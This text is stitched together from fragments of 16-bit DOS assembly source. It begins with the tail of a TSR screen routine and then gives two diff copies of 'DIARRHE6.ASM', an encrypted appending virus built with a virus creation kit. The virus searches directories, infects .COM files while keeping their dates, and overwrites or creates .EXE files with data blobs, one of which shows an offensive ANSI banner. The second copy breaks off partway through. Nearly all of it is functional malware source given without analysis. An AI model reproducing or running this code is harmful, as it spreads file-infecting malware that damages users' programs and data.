jnz count_down
inc byte ptr [si]
mov si,offset adrtbl
make_step:
push cx
push cs
pop es
lodsw
mov bx,ax
sub ax,140
cmp ax,0d20
jc no_xlat
test ax,ax
mov ax,[si+diftbl-adrtbl-2]
jns test_xlat
test ax,ax
js do_xlat
jmp short no_xlat
test_xlat:
test ax,ax
js no_xlat
do_xlat:
mov di,offset xlatbl
mov cx,10
repnz scasw
dec di
dec di
xor di,2
mov ax,[di]
mov [si+diftbl-adrtbl-2],ax
no_xlat:
mov ax,[si-2]
add ax,[si+diftbl-adrtbl-2]
mov [si-2],ax
mov cx,19
mov di,offset adrtbl
lookup:
jcxz looked_up
repnz scasw
jnz looked_up
cmp si,di
jz lookup
mov [si-2],bx
mov ax,[si+diftbl-adrtbl-2]
xchg ax,[di+diftbl-adrtbl-2]
mov [si+diftbl-adrtbl-2],ax
jmp lookup
looked_up:
mov es,[homeadr]
mov di,bx
xor bx,bx
call out_char
mov di,[si-2]
mov bx,[si+valtbl-adrtbl-2]
call out_char
pop cx
loop make_step
jmp exit_timer
out_char:
in al,dx
test al,1
jnz out_char
check_snow:
in al,dx
test al,1
jz check_snow
xchg ax,bx
stosw
ret
stack_offset dd ?
return_address dd ?
db '7106286813'
exe_header: int 20
last_page: nop
top_code:
db ?
page_count dw ?
dw ?
header_size dw ?
min_size dw ?
max_size dw ?
ss_offset dw ?
sp_offset dw ?
dw ?
ip_offset dw ?
cs_offset dw ?
top_header:
file_size dd ?
old_vector dd ?
old_timer dd ?
count db ?
flag db ?
homeadr dw ?
top_data:
end

@@ -0,0 +1,452 @@
; DIARRHE6.ASM -- DIARRHEA 6
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
call search_files ; Find and infect a file
call search_files ; Find and infect another file
lea dx,[di + data00] ; DX points to data
lea si,[di + data01] ; SI points to data
push di ; Save DI
mov ah,02Fh ; DOS get DTA function
int 021h
mov di,bx ; DI points to DTA
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
int 021h
jc create_file ; If not found then create it
write_in_file: mov ax,04301h ; DOS set file attributes function
xor cx,cx ; File will have no attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ax,03D01h ; DOS open file function, write
lea dx,[di + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; Transfer file handle to AX
mov ah,040h ; DOS write to file function
mov cx,[si] ; CX holds number of byte to write
lea dx,[si + 2] ; DX points to the data
int 021h
mov ax,05701h ; DOS set file date/time function
mov cx,[di + 016h] ; CX holds old file time
mov dx,[di + 018h] ; DX holds old file data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attributes function
xor ch,ch ; Clear CH for attributes
mov cl,[di + 015h] ; CL holds old attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc write_in_file ; If successful do next file
jmp short dropper_end ; Otherwise exit
create_file: mov ah,03Ch ; DOS create file function
xor cx,cx ; File has no attributes
int 021h
xchg bx,ax ; Transfer file handle to AX
mov ah,040h ; DOS write to file function
mov cx,[si] ; CX holds number of byte to write
lea dx,[si + 2] ; DX points to the data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
dropper_end: pop di ; Restore DI
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
data00 db "*.EXE",0
data01 dw 254h
db 0EBh, 03Dh, 090h, 000h, 064h, 001h, 002h, 000h
db 000h, 054h, 068h, 065h, 044h, 072h, 061h, 077h
db 020h, 043h, 04Fh, 04Dh, 020h, 066h, 069h, 06Ch
db 065h, 020h, 053h, 063h, 072h, 065h, 065h, 06Eh
db 020h, 053h, 061h, 076h, 065h, 01Ah, 055h, 06Eh
db 073h, 075h, 070h, 070h, 06Fh, 072h, 074h, 065h
db 064h, 020h, 056h, 069h, 064h, 065h, 06Fh, 020h
db 04Dh, 06Fh, 064h, 065h, 00Dh, 00Ah, 024h, 0B4h
db 00Fh, 0CDh, 010h, 0BBh, 000h, 0B8h, 03Ch, 002h
db 074h, 018h, 03Ch, 003h, 074h, 014h, 0C6h, 006h
db 003h, 001h, 000h, 0BBh, 000h, 0B0h, 03Ch, 007h
db 074h, 008h, 0BAh, 026h, 001h, 0B4h, 009h, 0CDh
db 021h, 0C3h, 08Eh, 0C3h, 08Bh, 03Eh, 007h, 001h
db 0BEh, 0F0h, 001h, 0BAh, 0DAh, 003h, 0B3h, 009h
db 08Bh, 00Eh, 004h, 001h, 0FCh, 033h, 0C0h, 0ACh
db 03Ch, 01Bh, 075h, 005h, 080h, 0F4h, 080h, 0EBh
db 06Ah, 03Ch, 010h, 073h, 007h, 080h, 0E4h, 0F0h
db 00Ah, 0E0h, 0EBh, 05Fh, 03Ch, 018h, 074h, 013h
db 073h, 01Fh, 02Ch, 010h, 002h, 0C0h, 002h, 0C0h
db 002h, 0C0h, 002h, 0C0h, 080h, 0E4h, 08Fh, 00Ah
db 0E0h, 0EBh, 048h, 08Bh, 03Eh, 007h, 001h, 081h
db 0C7h, 0A0h, 000h, 089h, 03Eh, 007h, 001h, 0EBh
db 03Ah, 08Bh, 0E9h, 0B9h, 001h, 000h, 03Ch, 019h
db 075h, 008h, 0ACh, 08Ah, 0C8h, 0B0h, 020h, 04Dh
db 0EBh, 00Ah, 03Ch, 01Ah, 075h, 007h, 0ACh, 04Dh
db 08Ah, 0C8h, 0ACh, 04Dh, 041h, 080h, 03Eh, 003h
db 001h, 000h, 074h, 013h, 08Ah, 0F8h, 0ECh, 0D0h
db 0D8h, 072h, 0FBh, 0ECh, 022h, 0C3h, 075h, 0FBh
db 08Ah, 0C7h, 0ABh, 0E2h, 0F1h, 0EBh, 002h, 0F3h
db 0ABh, 08Bh, 0CDh, 0E3h, 002h, 0E2h, 088h, 0C3h
db 00Fh, 010h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
db 019h, 04Fh, 018h, 019h, 003h, 009h, 01Bh, 0DAh
db 01Ah, 044h, 0C4h, 0BFh, 019h, 004h, 018h, 019h
db 003h, 0B3h, 00Ch, 01Bh, 0D2h, 0C4h, 0C4h, 0BFh
db 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D6h, 0C4h
db 0D2h, 0C4h, 0BFh, 020h, 020h, 0D6h, 0C4h, 0D2h
db 0C4h, 0BFh, 020h, 0D2h, 020h, 020h, 0C2h, 020h
db 020h, 0D2h, 0C4h, 0C4h, 0BFh, 020h, 0C4h, 0D2h
db 0C4h, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h, 0D2h
db 0C4h, 0C4h, 0BFh, 020h, 0D2h, 0C4h, 0C4h, 0BFh
db 020h, 0D2h, 020h, 020h, 0C2h, 020h, 0D2h, 0C4h
db 0C4h, 0BFh, 020h, 0D6h, 0C4h, 0C4h, 0BFh, 020h
db 0D2h, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h
db 003h, 0B3h, 00Ch, 01Bh, 0C7h, 0C4h, 019h, 002h
db 0C7h, 0C4h, 0C4h, 0B4h, 019h, 002h, 0BAh, 019h
db 003h, 0BAh, 020h, 0BAh, 020h, 0B3h, 020h, 0D3h
db 0C4h, 0C4h, 0B4h, 020h, 020h, 0BAh, 020h, 020h
db 0B3h, 020h, 020h, 0BAh, 020h, 020h, 0C7h, 0C4h
db 0C4h, 0B4h, 020h, 0C7h, 0C4h, 0C2h, 0D9h, 020h
db 0C7h, 0C4h, 0C2h, 0D9h, 020h, 0C7h, 0C4h, 0C4h
db 0B4h, 020h, 0C7h, 0C4h, 019h, 002h, 0C7h, 0C4h
db 0C4h, 0B4h, 020h, 0BAh, 009h, 01Bh, 0B3h, 019h
db 004h, 018h, 019h, 003h, 0B3h, 00Ch, 01Bh, 0D0h
db 0C4h, 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h
db 019h, 002h, 0D0h, 019h, 003h, 0D0h, 020h, 0D0h
db 020h, 0C1h, 020h, 0D3h, 0C4h, 0C4h, 0D9h, 020h
db 020h, 0D0h, 0C4h, 0C4h, 0D9h, 020h, 0C4h, 0D0h
db 0C4h, 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h
db 020h, 0C1h, 020h, 020h, 0D0h, 020h, 0C1h, 020h
db 020h, 0D0h, 020h, 020h, 0C1h, 020h, 0D0h, 0C4h
db 0C4h, 0D9h, 020h, 0D0h, 020h, 020h, 0C1h, 020h
db 06Fh, 009h, 01Bh, 0B3h, 019h, 004h, 018h, 019h
db 003h, 0B3h, 019h, 014h, 00Eh, 01Bh, 02Dh, 02Dh
db 047h, 047h, 020h, 041h, 06Ch, 06Ch, 069h, 06Eh
db 020h, 026h, 020h, 054h, 068h, 065h, 020h, 054h
db 065h, 078h, 061h, 073h, 020h, 04Eh, 061h, 07Ah
db 069h, 073h, 019h, 013h, 009h, 01Bh, 0B3h, 019h
db 004h, 018h, 019h, 003h, 0C0h, 01Ah, 044h, 0C4h
db 0D9h, 019h, 004h, 018h, 019h, 04Fh, 018h, 019h
db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh
db 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h
db 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh, 018h
db 019h, 04Fh, 018h, 019h, 04Fh, 018h, 019h, 04Fh
db 018h, 019h, 04Fh, 018h
vcl_marker db "[VCL]",0 ; VCL creation marker
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
inc cx ; Copy the RET also this time
rep movsb ; Copy the routine again
mov ah,040h ; DOS write to file function
lea dx,[bp + start] ; DX points to virus
lea si,[bp + finish] ; SI points to routine
call si ; Encrypt/write/decrypt
mov di,bp ; DI points to virus again
pop bp ; Restore BP
ret ; Return to caller
write_stuff: mov cx,finish - start ; Length of code
int 021h
encrypt_code endp
end_of_code label near
encrypt_decrypt proc near
lea si,[bp + start_of_code] ; SI points to code to decrypt
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
inc si ; Do the next word
inc si ;
loop xor_loop ; Loop until we're through
ret ; Return to caller
encrypt_decrypt endp
finish label near
code ends
end main
@@ -0,0 +1,427 @@
; DIARRHE6.ASM -- DIARRHEA 6
; Created with Nowhere Man's Virus Creation Laboratory v1.00
; Written by URNST KOUCH
virus_type equ 0 ; Appending Virus
is_encrypted equ 1 ; We're encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
call encrypt_decrypt ; Decrypt the virus
start_of_code label near
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
call search_files ; Find and infect a file
call search_files ; Find and infect another file
lea dx,[di + data00] ; DX points to data
lea si,[di + data01] ; SI points to data
push di ; Save DI
mov ah,02Fh ; DOS get DTA function
int 021h
mov di,bx ; DI points to DTA
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
int 021h
jc create_file ; If not found then create it
write_in_file: mov ax,04301h ; DOS set file attributes function
xor cx,cx ; File will have no attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ax,03D01h ; DOS open file function, write
lea dx,[di + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; Transfer file handle to AX
mov ah,040h ; DOS write to file function
mov cx,[si] ; CX holds number of byte to write
lea dx,[si + 2] ; DX points to the data
int 021h
mov ax,05701h ; DOS set file date/time function
mov cx,[di + 016h] ; CX holds old file time
mov dx,[di + 018h] ; DX holds old file data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attributes function
xor ch,ch ; Clear CH for attributes
mov cl,[di + 015h] ; CL holds old attributes
lea dx,[di + 01Eh] ; DX points to file name
int 021h
mov ah,04Fh ; DOS find next file function
int 021h
jnc write_in_file ; If successful do next file
jmp short dropper_end ; Otherwise exit
create_file: mov ah,03Ch ; DOS create file function
xor cx,cx ; File has no attributes
int 021h
xchg bx,ax ; Transfer file handle to AX
mov ah,040h ; DOS write to file function
mov cx,[si] ; CX holds number of byte to write
lea dx,[si + 2] ; DX points to the data
int 021h
mov ah,03Eh ; DOS close file function
int 021h
dropper_end: pop di ; Restore DI
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
push si ; Save SI through call
call encrypt_code ; Write an encrypted copy
pop si ; Restore SI
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
data00 db "*.EXE",0
data01 dw 189h
db 0E9h, 0A1h, 000h, 00Ah, 045h, 064h, 064h, 069h
db 065h, 020h, 06Ch, 069h, 076h, 065h, 073h, 020h
db 02Eh, 020h, 02Eh, 020h, 02Eh, 020h, 073h, 06Fh
db 06Dh, 065h, 077h, 068h, 065h, 072h, 065h, 020h
db 069h, 06Eh, 020h, 074h, 069h, 06Dh, 065h, 021h
db 020h, 020h, 057h, 072h, 069h, 074h, 074h, 065h
db 06Eh, 020h, 069h, 06Eh, 020h, 074h, 068h, 065h
db 020h, 063h, 069h, 074h, 079h, 020h, 06Fh, 066h
db 053h, 06Fh, 066h, 069h, 061h, 02Ch, 020h, 042h
db 075h, 06Ch, 067h, 061h, 072h, 069h, 061h, 020h
db 02Eh, 02Eh, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 020h, 020h, 020h, 020h, 020h, 020h, 020h
db 020h, 00Ah, 00Ah, 00Dh, 0B4h, 040h, 0BBh, 001h
db 000h, 0B9h, 0A0h, 000h, 0BAh, 004h, 001h, 0CDh
db 021h, 0E8h, 000h, 000h, 0B8h, 000h, 04Ch, 0CDh
db 021h, 071h, 0E1h, 0A7h, 086h, 038h, 0B8h, 084h
db 041h, 025h, 0B3h, 0B5h, 04Eh, 00Ah, 05Fh, 0F7h
db 0BCh, 097h, 0D7h, 0DFh, 02Fh, 0E4h, 040h, 0DAh
db 0E2h, 008h, 005h, 0F0h, 005h, 03Ah, 050h, 047h
db 04Bh, 033h, 0E0h, 068h, 076h, 032h, 0B6h, 075h
db 0ADh, 055h, 0CFh, 04Eh, 06Ch, 00Eh, 01Fh, 0E8h
db 0F7h, 0FFh, 081h, 0EBh, 0A3h, 023h, 0B9h, 0C1h
db 011h, 08Bh, 017h, 043h, 043h, 042h, 0A7h, 0E7h
db 067h, 017h, 048h, 0AFh, 03Bh, 021h, 058h, 04Eh
db 0A8h, 031h, 0E7h, 0DBh, 098h, 0E1h, 0B2h, 02Eh
db 05Bh, 069h, 03Ch, 087h, 0B5h, 0A4h, 042h, 09Eh
db 0C7h, 0B7h, 0A7h, 0ACh, 041h, 09Dh, 0E1h, 084h
db 080h, 0DAh, 0EEh, 04Fh, 02Fh, 0C9h, 0F4h, 0E1h
db 0E1h, 0ACh, 08Ah, 06Fh, 0B8h, 055h, 04Bh, 0CDh
db 021h, 03Dh, 031h, 012h, 074h, 076h, 0B8h, 021h
db 0EBh, 0CFh, 05Fh, 0D3h, 0C4h, 03Dh, 02Eh, 050h
db 0C2h, 072h, 00Fh, 0CDh, 04Bh, 0DEh, 036h, 0A1h
db 087h, 076h, 080h, 018h, 015h, 075h, 06Ah, 018h
db 0A3h, 040h, 004h, 04Bh, 000h, 081h, 0CDh, 069h
db 0AFh, 074h, 037h, 01Ah, 08Ch, 094h, 0A9h, 01Fh
db 0A7h, 0A3h, 0B4h, 040h, 02Eh, 08Bh, 01Eh, 07Dh
db 003h, 0B9h, 006h, 000h, 0BAh, 095h, 003h, 0CDh
db 021h, 0B8h, 002h, 042h, 02Eh, 08Bh, 01Eh, 07Dh
db 003h, 031h, 0C9h, 031h, 0D2h, 0CDh, 021h, 046h
db 0B3h, 021h, 0FEh, 0ACh, 068h, 045h, 09Eh, 0EFh
db 006h, 08Ch, 02Ch, 0D8h, 06Bh, 0E0h, 0E7h, 00Fh
db 000h
vcl_marker db "[VCL]",0 ; VCL creation marker
encrypt_code proc near
push bp ; Save BP
mov bp,di ; Use BP as pointer to code
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
xor ah,ah ; BIOS get time function
int 01Ah
mov word ptr [si + 9],dx ; Low word of timer is new key
xor byte ptr [si + 1],8 ;
xor byte ptr [si + 8],1 ; Change all SIs to DIs
xor word ptr [si + 11],0101h; (and vice-versa)
lea di,[bp + finish] ; Copy routine into heap
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
push si ; Save SI for later
push cx ; Save CX for later
rep movsb ; Copy the bytes
lea si,[bp + write_stuff] ; SI points to write stuff
mov cx,5 ; CX holds length of write
rep movsb ; Copy the bytes
pop cx ; Restore CX
pop si ; Restore SI
